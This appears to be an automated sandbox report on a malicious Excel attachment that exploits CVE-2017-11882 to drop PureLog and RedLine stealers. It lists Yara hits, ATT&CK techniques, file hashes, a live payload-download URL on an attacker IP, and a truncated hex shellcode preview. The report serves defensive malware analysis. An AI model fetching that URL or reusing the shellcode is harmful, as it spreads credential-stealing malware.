Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1128, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.CKK.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EC1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		3_2_00EC1204
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EC1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		3_2_00EC1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	121 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	33 Exploitation for Client Execution	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 Software Packing	NTDS	38 System Information Discovery	Distributed Component Object Model	121 Input Capture	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 DLL Side-Loading	LSA Secrets	25 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO 2_5_24.xlam.xlsx	53%	Virustotal		Browse
PO 2_5_24.xlam.xlsx	63%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
PO 2_5_24.xlam.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Roaming\CKK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\CKK.exe	39%	ReversingLabs
C:\Users\user\AppData\Roaming\CKK.exe	40%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://23.94.54.101/ISW.exe	0%	Avira URL Cloud	safe
https://api.ipif8z	0%	Avira URL Cloud	safe
http://23.94.54.101/ISW.exe	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://23.94.54.101/ISW.exe	true	7%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.00000000024FC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipif8z	RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/T	RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net0D	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000004.00000002.608494898.0000000002441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608494898.0000000002538000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608641256.00000000056E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	RegSvcs.exe, 00000004.00000002.608641256.00000000056F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.ipify.org	RegSvcs.exe, 00000004.00000002.608494898.0000000002556000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
23.94.54.101	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1435421
Start date and time:	2024-05-02 17:38:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO 2_5_24.xlam.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@6/8@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 109 Number of non-executed functions: 255
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:39:44	API Interceptor	17x Sleep call for process: EQNEDT32.EXE modified
17:39:47	API Interceptor	20x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
23.94.54.101	Order Request1_5_24.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	23.94.54.101/IZG.exe
	202404294766578200.xlam.xlsx	Get hash	malicious	Remcos	Browse	23.94.54.101/GVV.exe
	attachment.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	23.94.54.101/EPQ.exe
	NI-45733-D.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	23.94.54.101/ESS.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	SC-246214.doc	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	NOA.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Approved E-DO PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	Order No Q240419617006.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	Purchase Order05022024.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	irlsheis.doc	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	noa.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	GX_MV Sunshine 07483032r_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	product.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	cXPFfk0pBp7bEsb.pif.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SC-246214.doc	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	INQUIRY#46789.xla.xlsx	Get hash	malicious	Remcos	Browse	172.67.206.230
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.19
	https://gamma.app/docs/Untitled-9umekc4egyknsob	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pot.soundestlink.com/ce/c/6632d4bee95a733e5b11f90c/66336ffc6318519b93081379/663370167f943a5ca8cda723?signature=f078b55518dec9be5687b83cc67125e09d569e23f92457525770ae31d9667613	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	172.67.129.30
	oO2wHSVFJM.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	9d565bee-e6ce-1842-e729-b0df8f08ed34.eml	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://jimdo-storage.global.ssl.fastly.net/file/a45fef49-77a5-4e4b-b081-f19dd1b9626e/b0aa30c8-07ba-4acf-a6e6-856aaa7da320.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
AS-COLOCROSSINGUS	er).xla.xlsx	Get hash	malicious	Unknown	Browse	192.3.109.135
	SAL_000268_DOM.xls	Get hash	malicious	Unknown	Browse	198.12.81.162
	INQUIRY#46789.xla.xlsx	Get hash	malicious	Remcos	Browse	107.175.242.96
	5801.xls	Get hash	malicious	Unknown	Browse	192.3.179.142
	GVV.exe	Get hash	malicious	Remcos	Browse	23.94.53.100
	Notice.xls	Get hash	malicious	Unknown	Browse	192.3.239.4
	irlsheis.doc	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.3.239.4
	Order Request1_5_24.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	23.94.54.101
	202404294766578200.xlam.xlsx	Get hash	malicious	Remcos	Browse	23.94.53.100
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.3.239.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
36f7277af969a6947a61ae0b815907a1	SC-246214.doc	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	ET2431000075 & ET2431000076.xls	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	attachment.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	NI-45733-D.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	Payment Swift.doc	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	gmb.xls	Get hash	malicious	Unknown	Browse	104.26.12.205
	scripttodo.ps1	Get hash	malicious	Unknown	Browse	104.26.12.205
	New Quotation.doc	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	UGS - CRO REQ - KHIDUBAI (OPL-841724).scr	Get hash	malicious	PureLog Stealer, zgRAT	Browse	104.26.12.205

Process:	C:\Users\user\AppData\Roaming\CKK.exe
File Type:	data
Category:	dropped
Size (bytes):	267776
Entropy (8bit):	7.871261495692861
Encrypted:	false
SSDEEP:	6144:vKPYhPrqcfpcB4qnSfMYmOeaNEj634MxhCMHhru:yPKJS42SfxmfaNEh+tJu
MD5:	5A70B0E741E9BE8A93A6353E6CDB6BBD
SHA1:	567C37816D5101104953F1CC5A9F0D74E78B9F5C
SHA-256:	AACE6CA3B7215B5BF87C91167D4FB7C008CE0F4B9FA3B77877F3123018D066F5
SHA-512:	E1F21571D366462B73C1B7B1954E70A99E13A651F470BDFBC42F9F0F86034CE60761379BC0EFF1ED78CF8C6FBF85C10AB38B3BB4819A34031ADE083833955723
Malicious:	false
Reputation:	low
Preview:	u..TDX6BWVHV..8H.TGX6BSV.VPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQT.X6B]I.XP.1.p.F..c.>!%p8J'6&&5.!28&9$hZ-q&26.+=v...hU'51iU;HwVHVPH8H9D.u.3.(d'.6.9.u{I<l'.([..6z%.&.3.(.'.6.k?[).<au!(.9.6cw<&.3.(.?3 .9.GX6BSVHVPH8HQTGX..A0HVPHh.QT.Y2B'.H.PH8HQTGX.BpWCWYH8.PTG"4BSVHV..8HQDGX6.RVHV.H8XQTGZ6BVVHVPH8HTTGX6BSVH6TH8LQT.c4BQVH.PH(HQDGX6BCVHFPH8HQTWX6BSVHVPH8H.AEXfBSVH6RH..PTGX6BSVHVPH8HQTGX6BSVHVPH..PT[X6BSVHVPH8HQTGX6BSVHVPH8HQT.U4B.VHVPH8HQTGX6.RV.WPH8HQTGX6BSVHVPH8HQTGX6BSVf"50LHQT_.7BSFHVP.9HQPGX6BSVHVPH8HQTgX6"}$,7$)8H.9GX6.RVH8PH8.PTGX6BSVHVPH8H.TG..&2")VPH.xQTGx4BS@HVPB:HQTGX6BSVHVPHxHQ.iE00VHV..9HQ4EX6.RVHvRH8HQTGX6BSVHV.H8.QTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX6BSVHVPH8HQTGX

C:\Users\user\AppData\Local\Temp\aut9A3D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CKK.exe
File Type:	data
Category:	dropped
Size (bytes):	265430
Entropy (8bit):	7.978474061574863
Encrypted:	false
SSDEEP:	6144:1B28qzcAxd40Yn8M/jKbd37+/orNpicivLRDhrNuCIZr98YQuSUYk:1B2Xbd458xJ37+/orLicijRVBuCIZr91
MD5:	F2A14BB5825833AC7A44FA6F80757411
SHA1:	9D3AA84BA40B44968B3F69C38F950B55FF042053
SHA-256:	6854140A8F1472C3E84B6F1D6390920AE5737C67961E809DE10C34FEFD8663D4
SHA-512:	66C5273428E48F6C2E596E7300D169043567FBABFEBCD037446B0AC433EF779BA3D5A40F1E237AB1B0D3A43154563CB31AFA274A5A694E4CDC67C5DC993E7FFA
Malicious:	false
Reputation:	low
Preview:	EA06......5J%bmB...m~.qH..(...N...T)..ED.;4...N..Wi?.C.1..=.h.....Hd...O6.I..i..q&..-..m.M2.E.s.23..Ud.Y...;.]...9.p...Qd...I..Uu..g..>.Q[..f...M...%.@...k..r....u..>S....w.I.`..j.3... ...3.A...6.mF....R.."..9....W...4..B.T........8Q....H.8.R'.....6.U..3T....H.S5M.iB...j."P.q....H..1b....-..X...UFS{P.P.?...R....y.J.L.s...2..I..SY.0.8.......p.Ni....W.g.M.W.$.o$..T..........G...Q...4.E)..o..E......)....x.Tr..U.a0..?....iE.M......Q.....%...;..?.D,u..2.Q.hq.).O#>....J...V.H.1.u......&k9..a3..^S...P.h.#{...Z~M..[.U...F...i.X......S,yH7.\|..G.q.D.. ..=.j.V.T9..\|f.G..w.:..._.~)y{..6.J.0..Co...k..L...R..PH..-.D't-f.o....4....[.Y..nD..p..@....%R..3.,['P.......n.....&.v.V......."...W..U.T.Vj..."V.K.[%.:.f.X.W@B.n.o.....;..{\.u..."........_U..R7...{...ou..Tz...".]..mB..!..&.M.u.....}.L+.....v.69.j...H..xq..=r.P....q...f[....E.H..k...t.Vj<...K.7..D...j......u.R:.@../....x..Z.X...f...b(`.........."...ji.n..a..g.W..~)r.Q....R.X...8ww-....5N<.g..g..*..

C:\Users\user\AppData\Local\Temp\aut9AAC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\CKK.exe
File Type:	data
Category:	dropped
Size (bytes):	9858
Entropy (8bit):	7.592762175866469
Encrypted:	false
SSDEEP:	192:C+cKAFEeHCTNT/Uy48+s5DFVZJfJiFF3uEiJWwfJFqS24:h7ACeHCTR2WBVZJBoNuEiJWwew
MD5:	52EA0D31E75E368B28CA2A58A9E653FC
SHA1:	2AE4801ACAA0FDA9FC8975C9C29DCE1C1C6204C0
SHA-256:	BDFFC8EA3EBB6411B678CA19E5DD6D1199B8C44BD8CE53E42A8D99933074DE2F
SHA-512:	8DD97AD2B44A01B3EA8E0221B82B97493CB832B22BC88802957DC90D9351466EF1FCA3F1CE25AB25C890C32F5C0B9950D642621A8E8138D37E32F995F5FFC993
Malicious:	false
Reputation:	low
Preview:	EA06..p0.M'.)..e4.N'.).......T9..l.0L.s.5..3..s.4.8.......k8.Yls....c..&S...k6...S....1.L&.i..i5.M,S....K.@...7...p. ....P.o...m.X.V........9....3...f....s2.Xf@.]..g3@..h.m.M.......8.l..6.....a........i4........g3Y...c ._..k4...d....H, ......Ac.H..g...(.F..=d....>....C`....@02..N@...u......Y..ab.M.]>.$....M.x>;$....N.j.;%....X.j.;%......j.;,....P'.b.5... .^..f./Z..@F.6.z..G......`......i..G../Z...zqd...l.;.........\|......7...}3{(........;^..l =..p.........3p.o....,.......x.....H<.lX.:...b.....,. ...2...f.[...K.)....b..i\|v F......X......`....,.9....5...._..l......>K.....ir.e....[4..d..f.y.....,.....S >..p...........s9.... !..Y....f...ja4....ea.h,.p.....,.a8.,..3........f.....f ....,j.0..&...J......f ....6K%.ke..f....L..;2.X...4.Y.V@.Fn.....f@....l..05.....!;3.X...c )D.g6... ...'&`....,f.6..&....r...Brh.....l...i2...B....@.......d.L.`!.....P...@X5d..lSK...9...!;5.X...cVY......'.B...,vl.!..>.a..l...M..@...X...b.M&.X..B.a.Q...sp..X..9..o5..f.!...,vn......d...

C:\Users\user\AppData\Local\Temp\nondefinition

Download File

Process:	C:\Users\user\AppData\Roaming\CKK.exe
File Type:	ASCII text, with very long lines (28720), with no line terminators
Category:	dropped
Size (bytes):	28720
Entropy (8bit):	3.5923337446806256
Encrypted:	false
SSDEEP:	768:wiTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNbiE+Ik6Ng4vfF3if6gyJ:wiTZ+2QoioGRk6ZklputwjpjBkCiw2RT
MD5:	8285D336395C7B6E421735E4C8100590
SHA1:	BFEACB0473BEEA2DC4C9C634064467E1D0D70750
SHA-256:	2324E3F83072804CB47BAC17572DC6325B04BA13E6E4B0FD4AA40AAA45AA8D02
SHA-512:	FBAE37B6FB95499389ED67F6A630F91AE053DC1CE5EC79EADE84D10E79641C91074CA00BE90AD0D34B7C35355B9CDC7C3CA33842E0990D9E176CAC06DC311580
Malicious:	false
Reputation:	low
Preview:	048B4C24088B008B093BC8760483C8FFC31BC0F7D8C38B0x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffffba6c0000006689957cffffffb86c00000066

C:\Users\user\AppData\Local\Temp\~$imgs.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

